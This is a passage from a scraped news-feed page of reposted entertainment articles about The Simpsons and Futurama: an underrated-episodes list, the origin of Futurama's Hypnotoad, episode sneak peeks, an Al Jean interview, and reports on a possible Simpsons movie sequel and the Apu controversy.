This spurns Lisa to use her natural gifts to get to the bottom of Francine’s obsession with bullying nerds. Sometimes it’s sad watching Lisa and seeing all her remarkable genius go to waste at the expense of her family, but the hilariously titled “Bye, Bye, Nerdie” allows Lisa’s brilliance to shine. Watching her experiment to get to the root of the issue is fantastic, and the payoff of her revealing everything is extremely satisfying. “Bye, Bye, Nerdie” truly keeps on giving.

24 Minutes (S18, E21)

“24 Minutes” opens with a voiceover that announces, “Previously on ’24’ … I mean, ‘The Simpsons,'”  launching a 22-minute joyride that’s a very obvious yet effective parody of the Fox show “24.” The line is voiced by “24” star Kiefer Sutherland, who reprises his role as Jack Bauer, and Mary Lynn Rajksub also appears as her character, Chloe, in a delightful cameo. Although the stakes aren’t as high as trying to stop a major terrorist attack, “24 Minutes” is just as tense as “24” but with plenty of added laughs. In the episode, a bake sale is the center of major intrigue. Having forgotten about an impending bake sale, Marge is desperately trying to put a cake together in a matter of minutes. The real crux of the story lies in a potentially major stink bomb incident at Springfield Elementary, and the efforts of Bart Simpson and Principal Skinner’s CTU (that’s Counter Truancy Unit) to stop it before it’s too late.

It’s always a pleasure when “The Simpsons” commits to a bit, and that commitment is rarely more devoted than in “24 Minutes.” It even goes so far as to mimic the credit sequence of “24,” and the attention to detail is a big part of why the episode stands out. It makes a silly story about a stink bomb seem like a legitimately massive event. It’s a fun, fresh episode that uses an existing property to tell a fun original story, which is as good as an homage gets.

Gone Maggie Gone (S20, E13)

Season 20 brought the show into widescreen high-definition, and episodes like “Gone Maggie Gone” take full advantage of the extra space. It’s a beautiful episode with vibrant color and bold imagery reflective of the story’s creative, adventurous mystery.

Marge looks directly at a solar eclipse, which leads to temporary blindness. Since Marge can’t see, it forces the rest of the Simpson family to step up while she’s unable to keep the house stable. Unsurprisingly, things get pretty chaotic, and Homer winds up inadvertently giving Maggie away to a convent of nuns (as you do). This leads Lisa to go undercover as a wannabe nun to get Maggie back. Her quest leads her to solve increasingly complex puzzles to uncover the mystery of a sacred jewel, which may just lead to Maggie. Original, visually sumptuous, and very funny, “Gone Maggie Gone” has everything a classic “Simpsons” episode needs.

Holidays Of Future Passed (S23, E9)

Over hundreds of episodes, “The Simpsons” has established some pretty reliable recurring types of stories. Two of the most frequent are holiday episodes and looks a the Simpson family in the future. For my money, the finest of these themed episodes are “Simpsons Roasting on an Open Fire” and “Lisa’s Wedding,” but “Holidays of Future Passed” is a worthy addition.

After a wonderful montage of 30 years of Christmas cards, we spend time with each of the three Simpson children. Bart is divorced and living alone at the Lofts at Springfield Elementary and struggles to raise his two sons, who would much rather be with their mom at Christmastime. Maggie is a world-famous singer galavanting around the world. Meanwhile, Lisa is successful but struggling with her relationship with her teenage daughter, who’s fully in her rebellious phase.

There are plenty of great jokes. “I wish it was still legal to strangle your child,” Lisa says. “Not since they passed Homer’s law,” Marge responds. Alongside plentiful gags and peeks into future life (judging by how prescient “The Simpsons” often is, pay close attention!) there’s also the trademark heart that’s made the show such an enduring staple. It also provides a sense of legitimate closure for every member of the Simpson house, and if the show did end in season 23, this would have been the perfect finale.

Brick Like Me (S25, E20)

For the 550th episode of “The Simpsons,” the creative team tried something completely different: making an entire episode out of Lego. Well, not exactly, as some sequences are traditional hand-drawn animation. However, most of the episode sees the Simpsons and Springfield entirely rendered in Lego bricks. It could have easily come across as a shallow marketing exercise, which is an idea the episode pokes fun at. Instead, it’s one of the best recent episodes of “The Simpsons,” proving that there are still plenty of wonderful stories left in the tank. 

In “Brick Like Me,” Homer starts to have hallucinations that he’s not made of Lego, but may be animated. It all stems from picking up a toy set at the Android’s Dungeon, which leads to flashbacks about Homer playing with Lisa. The episode is all about their relationship, and how Homer has crafted a fantasy world (made of Lego) so the two can play together forever. It’s a bit saccharine and surprisingly touching like many classic episodes.

Halloween Of Horror (S27, E4)

Of all the holidays, none are more synonymous with “The Simpsons” than Halloween. Since Season 2, the “Treehouse of Horror” has become an annual tradition, delighting viewers with three spooky, gory stories over 22 hilarious minutes. In Season 27, “The Simpsons” surprised many with “Halloween of Horror,” which broke tradition with a full-length, single-story Halloween episode.

What’s most striking about “Halloween of Horror” is that it’s genuinely frightening. After going to a Halloween theme park, Lisa is horrified by all the strikingly realistic zombies. On Halloween night, she’s still dealing with overwhelming fear, but things are about to get a whole lot worse. The day before, Homer accidentally gets some Halloween pop-up store workers fired, and they swear revenge on him by breaking into the Simpson house on Halloween night, with Homer and Lisa home alone.

The scenes with Homer and Lisa are some of the show’s most tender, and the dynamics of their father-daughter relationship allow for some beautiful moments. “Halloween of Horror” finds them both in a rare situation. They’re terrified, hiding in the attic and hoping they’ll survive a nightmare turned reality. Watching them work together is beautiful, and it’s refreshing to see Homer shine in an awful situation. It’s balanced beautifully by the B-story of Bart and Marge trying to find a fun Halloween evening. Complete with a terrific musical number about adult Halloween, “Haloween of Horror” is a delightful holiday romp.

The Great Phatsby (S28, E12 And 13)

A remarkable thing about “The Simpsons” is its ability to consistently tell complete stories in 22-minutes. That wasn’t a particularly big deal when the show premiered in 1989, but in the age of streaming, stories are getting longer and longer. The first time “The Simpsons” deviated from this was the legendary two-parter “Who Shot Mr. Burns?” which concluded Season 6, and part two opened the seventh season.

Over 20 years later, “The Simpsons” returned to the two-part format with “The Great Phatsby” in Season 28, an impressively ambitious story that crosses “The Great Gatsby” with “Empire.” “The Great Phatsby” doesn’t come close to the greatness of “Who Shot Mr. Burns?” but very few episodes do. Still, it’s one of the most visually impressive episodes and evidence that “The Simpsons” can tackle ambitious stories.

The episode is loaded with guest appearances (a Simpson’s specialty): Taraji P. Henson, Charles Barkley, Common, Keegan-Michael Key, RZA, and Snoop Dogg all appear. The plot follows Mr. Burns, who feeling fed up with his day-to-day life, uses some of his immense wealth to attempt to relive his glory days. When throwing an enormous and lavish party, Burns discovers a rival party nearby hosted by a wealthy hip-hop mogul. What follows is a clash between two titans, with plenty of underhanded business practices, visual splendor, and excellent music.

Barthood (S27, E9)

Sometimes, “The Simpsons” references are subtle (okay, subtlety isn’t really their thing, but it happens). Then, there’s “Barthood,” an homage to Richard Linklater’s “Boyhood” that even borrows some of the film’s music. The episode traces Bart’s life from ages 6 to 18. This is no measly parody, however, as “Barthood” is a touching tribute to the troubled young menace. It’s a powerful story of Bart discovering who he is and what he’s capable of, and it’s particularly focused on his feelings of inadequacy that stem from Lisa’s intelligence and drive. “The Simpsons” has had quite a few episodes in which they look into the future, often with jarringly different results each time. Instead of jumping into the future, “Barthood” moves methodically through the years.

Watching every character grow up is thrilling, and there are plenty of characters to spot in the background in case you get bored with the plot, but considering how well-written it is, I doubt that’ll happen. Most of the episodes that look to the future don’t offer a whole lot of hope for Bart, but watching “Barthood” made me believe that there may just be a promising future ahead for the Bartman after all. As a lovely bonus, the credits feature a tender conversation between Homer and Bart.

Werking Mom (S30, E7)

The Season 30 episode “Werking Mom” is a testament to how far things have come for queer audiences. The Season 8 landmark episode “Homer’s Phobia” is one of the show’s very best, but who could imagine that years later, an entire episode would be devoted to the power of the art of drag?

The episode focuses on Marge, who has signed up as a Tubberware (no, not Tupperware) salesperson. She struggles to sell any product until she hosts a party comprised of gay men who mistake her for a fabulous drag queen. At first, Marge is offended at the suggestion, but it’s not long before she uses makeup to her advantage, entering the world of drag to become the hottest Tubberware salesperson in all of Springfield.

The episode is filled with top-notch jokes, a great running gag about leftover lasagne, and epic one-liners like “If he was any more camp, he’d be a Coleman lantern.” There’s also a terrific “Amélie” inspired B-story in which Lisa is inspired by restoring some magic to the world and making strangers happy. However, the real joy here is Marge. Watching her become confident is exquisite, and seeing her embrace her femininity and everything that makes her special is phenomenal. There’s even a great musical number, cameos from drag legends RuPaul and Raja, and Homer in drag! “Werking Mom” truly delivers.

Portrait Of A Lackey On Fire (S33, E8)

Waylon Smithers has always been one of my favorite characters in “The Simpsons.” The long-suffering lackey has rarely been able to leave the shadow of his boss, Mr. Burns, with whom he’s been in love for eternity. That’s always been a secret, of course, though those in the know have seen hundreds of hints about Smither’s sexuality dropped over hundreds of episodes. Season 27 finally saw Smithers come out to Mr. Burns. It was a major moment for “The Simpsons,” but it would take a few more seasons for Smithers to finally find love. In Season 33, the spectacularly titled “Portrait of a Lackey on Fire” finds Smithers finding a boyfriend — with Homer’s help.

Smithers begins to date Michael de Graaf (guest voiced by Victor Garber), and their chemistry is instantly electric. For Smithers fans, seeing the character finally being loved, embraced, and celebrated is nothing short of magical. De Graaf, a hugely successful fashion designer, is completely smitten by Smithers. It’s just such a warm, lovely hug of an episode that celebrates a long-suffering character, even if the love isn’t meant to last. “The Simpsons” gets a lot of flack for not being a patch on its former self, but “Portrait of a Lackey on Fire” proves that the show about everyone’s favorite yellow family has plenty more stories to tell.

Read this next: The 10 Best South Park Episodes No One Remembers

The post The 18 Most Underrated Episodes of The Simpsons appeared first on /Film.

]]> https://briefnews.eu/the-18-most-underrated-episodes-of-the-simpsons/feed/ 0 The Design Of Futurama’s Hypnotoad Was A Subtle Nod To The Simpsons https://briefnews.eu/the-design-of-futuramas-hypnotoad-was-a-subtle-nod-to-the-simpsons/ https://briefnews.eu/the-design-of-futuramas-hypnotoad-was-a-subtle-nod-to-the-simpsons/#respond Thu, 08 Sep 2022 05:46:10 +0000 https://briefnews.eu/the-design-of-futuramas-hypnotoad-was-a-subtle-nod-to-the-simpsons/

In the 2001 “Futurama” episode “The Day the Earth Stood Stupid,” Leela (Katey Sagal) has chosen to enter her beloved pet Nibbler into an intergalactic pet show. Fry (Billy West) comments that the animals at such shows are well-trained and difficult to beat. Leela points out that the dogs aren’t an issue, but one really has to look out for the Hypnotoad. The Hypnotoad, true to its name, is a hefty amphibian, about the size of a medicine ball, that can swivel its eyes toward sheep and hypnotically force them to enter a pen themselves far more efficiently than any sheepdog. When the pet show judges look at the Hypnotoad a little askance, the toad stares at them and hypnotically forces them to give it a perfect 10. Inevitably, the Hypnotoad will be awarded first prize. The audience, under its spell, claps somnambulistically in unison. 

In later episodes of “Futurama,” the Hypnotoad will also be seen as the hystar of its very own television show, which is nothing more than the toad staring at the audience, its eyes droning loudly, its mysterious hypnotic rays reaching billions. It’s implied that the toad is slowly taking over the world with its creepy, creepy pulsating pupils. The Hypnotoad is one of the funnier running gags on the show, and the showrunners loved it to the point of including an episode of “Everybody Loves Hypnotoad” on a “Futurama” DVD. 

In a recent interview with Cracked, Mark Ervin, the designer of Hypnotoad, talked about where he got his inspiration, while sound designer Danik Thomas reveals the origin of Hynotoad’s loud, hypnotic drone. 

Boy-Scoutz ‘N The Hood

In the script for “The Day the Earth Stood Stupid,” written by Jeff Westbrook (with a story by Westbrook and David X. Cohen), the Hypnotoad was merely described as a huge toad with hypnotic eyes. Ervin looked to the Argentine horned frog as a model, a round, squat amphibian also known as a Pacman frog for its resemblance to the Namco arcade star. The Argentine horned frog also has an enormous mouth. The Hypnotoad sits a little more upright. With a bit of embarrassment, Ervin noted that the Hypnotoad was not based on a toad at all. 

For the hypnotic eyes, Ervin recalled a very specific moment from “The Simpsons” as inspiration, seen in the picture above. The eerie eyes of the Hypnotoad were meant to imitate Bart Simpson’s eyes when he ate too much sugar. In Ervin’s words: 

“As for his eyes, I looked at those oddly-shaped eyes that a frog has and based it on that. Also, I’d previously worked on ‘The Simpsons’ episode ‘Boy-Scoutz ‘n the Hood,’ where Bart and Milhouse get all amped up on Squishees and have these crazy eyes. It was a bit of a nod to that.”

“Boy-Scoutz ‘n the Hood” first aired on November 18, 1993 during the show’s eighth season. 

Angry Machine

The evil droning noise heard when the Hypnotoad is mesmerizing its audience also finds its origins in the early 1990s. Danik Thomas, an editor on “Futurama,” recalls with clarity the moment he recorded the noise he ended up using on the show. It turns out he was simply noodling around with amplifiers while working on another, completely unrelated job, and came up with a really annoying sound. A sound so annoying, in fact, that he kept it for years. Thomas said: 

“Yes! I did that! I recorded that sound way back in October 1992. I was in Fort Wayne, Indiana doing this music video and, during some down time, I was in this cavernous water treatment plant with this great, echo-y sound to it. I had this old analog signal generator that made all these different noises, so I hooked that up to my bass amp and recorded it with my microphone. It was the most obnoxious sound ever.”

Thomas admits that the noise, which he nicknamed Angry Machine, was mostly used for pranks. He would upload the noise into colleagues’ computers — specifically the computer of co-worker Paul Calder — and program it to play at opportune moments, making people think something was broken. During the building of “The Day the Earth Stood Stupid,” Thomas inserted the noise as a place-holding sound effect until a better effect could be invented, but the showrunners ended up using it. A bass-heavy water treatment plant in 1992 was now annoying a new generation of fans. 

The Hypnotoad appeared on multiple episodes of “Futurama,” and even made its way into an introductory segment of a Simpsons “Treehouse of Horror” episode directed by Guillermo del Toro.

When Westbrook saw Hypnotoad in that sequence, he sighed, saying “I can’t escape this creature.”

Read this next: The Best Adult Animation Of 2021

The post The Design Of Futurama’s Hypnotoad Was A Subtle Nod To The Simpsons appeared first on /Film.

]]> https://briefnews.eu/the-design-of-futuramas-hypnotoad-was-a-subtle-nod-to-the-simpsons/feed/ 0 The Simpsons to Explore ‘Awesome Origin Story’ of… Comic Book Guy? https://briefnews.eu/the-simpsons-to-explore-awesome-origin-story-of-comic-book-guy/ https://briefnews.eu/the-simpsons-to-explore-awesome-origin-story-of-comic-book-guy/#respond Sat, 02 Jan 2021 01:32:54 +0000 https://briefnews.eu/the-simpsons-to-explore-awesome-origin-story-of-comic-book-guy/

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Comic Book Guy could soon be vying for a new title: Best. Dad. Ever.

That’s right, folks. After 32 seasons, The Simpsons is finally looking to expand CBG’s family tree in Sunday’s episode, which airs at a special time (Fox, 9/8c). “The Dad-Feelings Limited” finds Comic Book Guy and his wife Kumiko debating whether or not to have a baby.

Per the official synopsis, Sunday’s episode will also reveal the “awesome origin story” of Comic Book Guy. So, you know… buckle up for that. Special guest voices in this episode include Dan Aykroyd and Bob Balaban.

TVLine has an exclusive sneak peek of the episode, which finds Homer and Marge striking a surprisingly strong bond with Mr. and Mrs. Comic Book at trivia night — so it’s also safe to say that the parents of three will heavily influence the young couple’s decision one way or the other.

Hit PLAY on the video above for your first look at Sunday’s special episode of The Simpsons — airing at a special time, — then drop a comment with your thoughts below.

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]]> https://briefnews.eu/the-simpsons-to-explore-awesome-origin-story-of-comic-book-guy/feed/ 0 The Simpsons Video: Voting Is a Nightmare for Homer in Timely ‘Treehouse of Horror’ Sneak Peek https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/ https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/#respond Fri, 30 Oct 2020 23:10:29 +0000 https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/

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The Simpsons‘ annual “Treehouse of Horror” episodes do their best to scare us every year… and what could be scarier than the upcoming election?

In a sneak peek at Sunday’s episode (Fox, 8/7c), Marge nags Homer to get down to the polls and vote — at least “if you care about the three things you love most,” she says. (In Homer’s mind, that’s beer, donuts and pretzels, but never mind.) He rushes into the voting booth, but he’s stumped on one particular choice: who to vote for in the presidential race. (“Can I write in Judge Judy?”)

Lisa ducks her head in — that’s gotta be a violation of election law, right? — to lecture her father about all the awful things that have happened over the last four years, and soon, Homer is swamped by a scrolling list of all of President Trump’s “accomplishments,” from “Put children in cages” to “Looks lousy in a tennis outfit.”

Homer makes his choice and scoffs: “Who are you gonna make fun of now, late-night comics?” But this is a “Treehouse of Horror” episode after all, so of course, there’s a dark twist in store; press PLAY on the video above for a sneak peek, and then hit the comments to share your (spooky) thoughts.

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]]> https://briefnews.eu/the-simpsons-video-voting-is-a-nightmare-for-homer-in-timely-treehouse-of-horror-sneak-peek/feed/ 0 TVLine Items: Peaky Blinders Premiere, Olivia Colman on Simpsons and More https://briefnews.eu/tvline-items-peaky-blinders-premiere-olivia-colman-on-simpsons-and-more/ https://briefnews.eu/tvline-items-peaky-blinders-premiere-olivia-colman-on-simpsons-and-more/#respond Fri, 16 Aug 2019 19:16:53 +0000 http://briefnews.eu/tvline-items-peaky-blinders-premiere-olivia-colman-on-simpsons-and-more/

Peaky Blinders Season 5 will make its Netflix debut on Friday, Oct. 4, after it first premieres on BBC One, on Sunday, Aug. 25.

The upcoming episodes find “the world thrown into turmoil by the financial crash of 1929,” per the official synopsis. “When Tommy Shelby MP (played by Cillian Murphy) is approached by a charismatic politician with a bold vision for Britain, he realizes that his response will impact not only the future of his family but that of the entire nation.”

New cast members include Sam Claflin (the Hunger Games movies), Anya Taylor-Joy (The Dark Crystal: Age of Resistance, Atlantis) and Brian Gleeson (Snow White and the Huntsman).

Ready for more of today’s newsy nuggets? Well…

* Oscar winner Olivia Colman (Fleabag, The Crown) will lend her voice to a Season 31 episode of The Simpsons, executive producer James L. Brooks tweeted on Friday:

* Matthew Macfadyen (Succession), Michael Sheen (The Good Fight) and Sian Clifford (Fleabag) will star in AMC and ITV’s three-part drama Quiz, about the 2001 Who Wants to Be a Millionaire? UK cheating scandal.

* Niecy Nash (Claws) will recur opposite Cate Blanchett in FX’s limited series Mrs. America as Flo Kennedy, a friend to Gloria Steinem and Shirley Chisholm, who co-created the Black Feminist Organization, our sister site Deadline reports.

* Tituss Burgess (Unbreakable Kimmy Schmidt) will host the high-octane cooking competition show Dishmantled for the the forthcoming short-form content service Quibi, per Deadline. Each episode starts with the cannon-blasting of a mystery food dish into the faces of two blindfolded chefs, who must then identify the exploded dish and race against the clock to recreate it.

* Showtime has released the first two episodes of On Becoming a God in Central Florida ahead of its premiere on Sunday, Aug. 25:


Which of today’s TVLine Items pique your interest?

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]]> https://briefnews.eu/tvline-items-peaky-blinders-premiere-olivia-colman-on-simpsons-and-more/feed/ 0 The Simpsons Pits Futurama Ship Against The Orville in 'Treehouse of Horror XXIX' — Watch Sneak Peek https://briefnews.eu/the-simpsons-pits-futurama-ship-against-the-orville-in-treehouse-of-horror-xxix-watch-sneak-peek/ https://briefnews.eu/the-simpsons-pits-futurama-ship-against-the-orville-in-treehouse-of-horror-xxix-watch-sneak-peek/#respond Fri, 19 Oct 2018 15:00:23 +0000 http://briefnews.eu/the-simpsons-pits-futurama-ship-against-the-orville-in-treehouse-of-horror-xxix-watch-sneak-peek/

The residents of Springfield are overtaken by evil alien body snatchers in Sunday’s “Treehouse of Horror XXIX” episode of The Simpsons (Fox, 8/7c), but we’re here to discuss a far more dire confrontation. As you’ll see in TVLine’s exclusive clip from the episode, this particular segment features two very familiar space ships — Futurama‘s Planet Express and The Orville‘s titular vessel — and their meeting isn’t exactly a friendly one.

Planet Express is the first to appear, proudly displaying a banner that reads “Bring Back Futurama,” a sentiment I think we can all appreciate. Well, all of us except the crew aboard The Orville, who decide to… actually, I won’t ruin the ending for you.

For those who don’t speak fluent Fox, here’s some background: Futurama was an animated series from Simpsons creator Matt Groening that ran from 1999 to 2003 on Fox, then enjoyed a second life on Comedy Central from 2008 to 2013. And The Orville, a live-action sci-fi comedy from Family Guy creator Seth MacFarlane, will return to Fox for its second season in 2019.

Elsewhere in this year’s Simpsons Halloween episode, Homer challenges Cthulhu to an oyster-eating contest, Lisa “finally snaps” and Mr. Burns builds a retirement home with a Jurassic twist.

Hit PLAY on the video above for a sneak peek at “Treehouse of Horror XXIX,” then drop a comment with your thoughts below.

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]]> https://briefnews.eu/the-simpsons-pits-futurama-ship-against-the-orville-in-treehouse-of-horror-xxix-watch-sneak-peek/feed/ 0 ‘The Simpsons’ Showrunner Al Jean Addresses Apu Controversy and Series Milestones [Interview] https://briefnews.eu/the-simpsons-showrunner-al-jean-addresses-apu-controversy-and-series-milestones-interview/ https://briefnews.eu/the-simpsons-showrunner-al-jean-addresses-apu-controversy-and-series-milestones-interview/#respond Wed, 26 Sep 2018 19:53:28 +0000 http://briefnews.eu/the-simpsons-showrunner-al-jean-addresses-apu-controversy-and-series-milestones-interview/ The Simpsons Al Jean Interview

The Simpsons is about to his another landmark. This season will be the animated show’s 30th. Last season saw The Simpsons pass Gunsmoke’s record for the most number of episodes produced. But much of the focus on The Simpsons recently has been on something else.

Last year, a Simpsons controversy heated up. Hari Kondabolu’s documentary The Problem with Apu aired in November 2017, criticizing the stereotypical nature of the Indian character Apu Nahasapeemapetilon. The Simpsons responded in their episode “No Good Read Goes Unpunished.” The response sparked more debate than the documentary originally did, and /Film has been covering it closely.

Al Jean, showrunner for The Simpsons, sat down with /Film at the Fox party for the Television Critics Association, and he was prepared for more Apu questions. He wouldn’t budge from those earlier statements and opted to talk about the show’s milestones and some history revealed in Mike Reiss’s recent memoir Springfield Confidential.

 

I ask these questions as someone who wants everybody to be able to enjoy the show. Hank Azaria went on Colbert and said he would be willing to step aside as the voice of Apu. Has he talked to you guys and discussed what he wants to do?

I only have two things to say about Apu. The first is, if you’re a bully and you’re using Simpsons quotes to bully people, you’re not a Simpsons fan. We don’t want you and I’ll kick your ass. My second statement is I refer people to what Matt [Groening] said on the subject.

We have heard from you and Matt, but not James L. Brooks. What does he think about this matter?

I have no other comment.

How about if any actor doesn’t want to do a voice anymore, are they allowed to decide that?

I have no other comments about Apu.

So I’ve been reading Springfield Confidential.

Very funny book.

What script did you and Mike Reiss write for Meat Loaf?

It was called Fat Men from Outer Space. It was based on a book by the same name and I think he describes that we had to go pick up our money, and when we went, the place had moved overnight so we couldn’t collect. That’s all true.

What was the story of the movie going to be?

Fat men were invading from outer space. They looked like fat humans but they were really aliens. It was about as good as it sounds.

Was writing Airplane II trying to capture the style of the Zucker/Abrahams/Zucker jokes?

Oh yeah. Ken Finkleman who did Airplane II, wrote with us and directed the movie, is really, really funny. When I read the script that he did and asked us to come and punch it up, I was really thrilled. I love the first one. There’s no better movie. What happened was I think the studio kept pushing it to be more and more exactly like the first one. So there’s some stuff in it where I go gee, that’s really too similar. It’s the same joke. Stuff like Ken’s joke about Shatner coming through the video screen, those things were hilarious.

Reiss also revealed you like rocking chairs. Do you still and what is that appeal?

Yes, I love them. I hope I don’t get fired for that. When I grew up I had a rocking chair in my house and I think my mom was influenced [because] John F. Kennedy liked them. I always have.

Do you have one in your office and at home?

Yeah, in my home and my chair in my office can rock.

What’s in store for season 30?

Well, we have a premiere where it’s influenced by the book The Boy Who Saw Heaven. Bart does something bad and is knocked unconscious, so to get away with it he tells Marge he went to Heaven and saw her father. It turns into a musical because it’s like everybody believes the lie. In that episode, we have Pete Holmes, Dave Attell, Emily Deschanel and Gal Gadot. We have a great episode coming up where Homer and Marge are a couple on a show like The Greatest Race. We have a Halloween show where we showed at Comic-Con, we have an Invasion of the Body Snatchers type episode where all of Springfield were just gazing at their iPhones all day and just become zombies. We have a show where Grandpa has a flashback. He realizes he was the model for little green army men and there’s a story behind it. I wrote an episode where Lisa sees the movie To Kill a Mockingbird and starts to see a little of Gregory Peck in Homer and really admires him. We have a show where Comic Book Guy sues Homer which is really funny. We just read a show where Maggie has a romance and Homer is trying to swim with Cletus on behalf of Burns.

Is there anything that specifically commemorates the 30 years?

Right at the beginning. Right at the start of the first episode, and then we have other stuff that’s in the works. The first opening commemorates it.

Dana Walden said it behooves Fox to keep The Simpsons on, whatever happens with the Disney acquisition, because it’s been a part of the brand for 30 years. Is that good news for your show?

That was great. Picked up forever? I’ll take that. They’ve always been great to the show, Dana and Gary [Newman]. We’ve always really loved that they care about the show and have done anything possible to make it thrive. I’m really glad to be on Sunday night with shows like Bob’s Burgers and Family Guy. I can’t tell you the particulars because the actors’ contracts come up and the Disney deal is happening, but I don’t know when it will end. Nobody’s told me anything about ending.

Has anyone at Disney mentioned they want to have new Simpsons on their streaming service?

No. I can honestly say I don’t know and nobody’s said it. She said she wants to keep it on Fox. I heard, I just know what you know, that she might go to Disney to run the Disney Fox. If that’s the case, we’ll stay on Fox. Being on at eight o’clock Sunday, especially after NFL, has been the best thing in the world for us so I have no idea to leave that .

I imagine it behooves Disney, as the new owners, to keep it there too.

Probably, but it’s up to them. If they own it, Bob Iger’s the boss. I used to work for him briefly and that was a very pleasant experience. Whatever he does, he’s the boss.

Was Edna Krabappel’s soundbite “If you can teach one kid one thing” an old soundbite you had from Marcia Wallace?

Yeah, it was from the show Matt Sellman wrote called “Bart Gets a Z.” I had that idea where Flanders becomes a teacher. I thought, we’ll ask her son if we can use that clip, because I know Marcia would’ve wanted us to use it. She always loved appearing on the show. I just said, “We’ll find something that’s apt” and that’s what we used. We surprised people by putting it in because everybody misses her.

Would you ever have a soundbite of Phil Hartman that could work like that?

No, I wouldn’t put him in. We did do another one which was, sadly, Eartha Kitt passed away after we recorded her but before the show aired. So again, we contacted the estate and they said, “Oh yeah, of course. She wanted to be on.” So we had a reference to how it was after she died. Sadly, in show business, it happens fairly frequently that somebody has work still to come out when they passed, especially if they’re not that old. Like Carrie Fisher’s in the next Star Wars.

Gunsmoke ultimately went to an hour in their run. Could the next Simpsons milestone be creating more hours of television than Gunsmoke?

That would be pretty hard. I don’t know how many hours they did but my guess would be in the 500s. After this we’ll have 335. I’m really glad there’s a record that people believed was a real record and we broke. You talk about Japanese animation or whatever, I go, “We broke the record. That’s it.”

How about “more Emmys than Frasier?”

Well, the show with the most Emmys now is Saturday Night Live, so nobody’s ever going to catch them because they’re never going to end. I would love to get more Emmys than Frasier because that was a great show and we’re not that far. We’re only four behind, but we’ll never be number one. We’ve been number one animated show for a long time so that’s great.

Ralph’s lines are always so memorable. Is it details like “the baby winked at me,” which we love to quote, that make him more than just an idiot?

I think in Ralph, there’s an inner wisdom to a lot of the stuff. Matt always says, and I agree with him, that Ralph should be a happy kid that is never sad. He’s never unhappy being who he is. We did an episode like Being There where he winds up President basically. I think there are bigger things in store for Ralph than we might expect.

It took a while to get season 18 on DVD. Will we get more?

No word, I can’t say anything about a season 19 DVD except that I’m still hoping. I know people want to fill that gap so fill the gap.

Are you still doing commentaries for FXNOW?

Yes, we did season 22 commentaries for 500 Keys and Treehouse XXI today.

***

The Simpsons season 30 premiers Sunday, September 30 at 8pm ET on FOX.

The post ‘The Simpsons’ Showrunner Al Jean Addresses Apu Controversy and Series Milestones [Interview] appeared first on /Film.

]]> https://briefnews.eu/the-simpsons-showrunner-al-jean-addresses-apu-controversy-and-series-milestones-interview/feed/ 0 The Simpsons Movie SEQUEL ‘is finally in development’ PLUS Family Guy live action ‘hybrid’ https://briefnews.eu/the-simpsons-movie-sequel-is-finally-in-development-plus-family-guy-live-action-hybrid/ https://briefnews.eu/the-simpsons-movie-sequel-is-finally-in-development-plus-family-guy-live-action-hybrid/#respond Sun, 12 Aug 2018 13:58:08 +0000 http://briefnews.eu/the-simpsons-movie-sequel-is-finally-in-development-plus-family-guy-live-action-hybrid/

Speculation has run wild for the last decade about whether or not the residents of Springfield would return to cinema, and now it’s looking increasingly likely that they will.

According to the Wall Street Journal, a new film is “in development”, meaning it’s in the very early stages of production – and it’s not yet been officially announced.

The Simpsons isn’t the only show to be getting the big screen treatment: Family Guy is also thought to be going the same way.

What’s different there, though, is that the Family Guy movie would be a mix of live action and animation, according to the WSJ report.

Bob’s Burgers, another animated favourite, is said to be gearing up for a big-screen transfer too.

Released in 2007, The Simpsons Movie was a critical and commercial success – grossing over $ 527 million worldwide.

It also managed an 88% score on Rotten Tomatoes and was marked A- by audiences on CinemaScore; with praise in particular going to Julie Kavner for her performance as Marge Simpson.

Kavner picked up an Annie Award nomination for Best Voice Acting,and the film was also up for Best Animated Film at the BAFTAs and Golden Globes.

Bosses recently hinted that they were thinking about what the plot of a new film could be, with director David Silverman telling Entertainment Weekly last year: “I’d love for there to be another one. We’re still a ways away from it.

“We talk about this and that. We’re thinking it over, but nothing’s happening just yet.

“It’s still daunting because it really knocked the stuffing out of us to do the movie and the show at the same time.”

“I certainly am cautious about a couple things,” Al Jean added.

“I wouldn’t want it to be risky in terms of budget, and I would not want it to be anything that we did purely for the money

“I would want it to be a really great movie. I personally feel no need for another one unless it’s great.”

The Simpsons TV show is nearing its 30th season, after season 29 concluded in May of this year.

Family Guy, meanwhile, has recently been renewed for a 17th season, which will begin on September 30.

Bob’s Burgers is less well-known to British audiences but is still a huge hit: it’s recently been picked-up for a ninth season, which will also premiere in late September.

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]]> https://briefnews.eu/the-simpsons-movie-sequel-is-finally-in-development-plus-family-guy-live-action-hybrid/feed/ 0 The Simpsons Boss Responds to Apu Firestorm, Vows to Find 'Right' Answer https://briefnews.eu/the-simpsons-boss-responds-to-apu-firestorm-vows-to-find-right-answer/ https://briefnews.eu/the-simpsons-boss-responds-to-apu-firestorm-vows-to-find-right-answer/#respond Sat, 14 Apr 2018 01:33:35 +0000 http://briefnews.eu/the-simpsons-boss-responds-to-apu-firestorm-vows-to-find-right-answer/

The Simpsons‘ showrunner has weighed in on the controversy swirling around one of the Fox cartoon’s most beloved characters.

Following this week’s episode, which addressed those calling the show’s portrayal of Indian Kwik-E-Mart owner Apu racially insensitive, executive producer Al Jean took to Twitter on Friday to thank everyone who reacted to the episode, “pro and con,” and to pledge that he and the writers will keep trying “to find an answer that is popular [and] more important right”: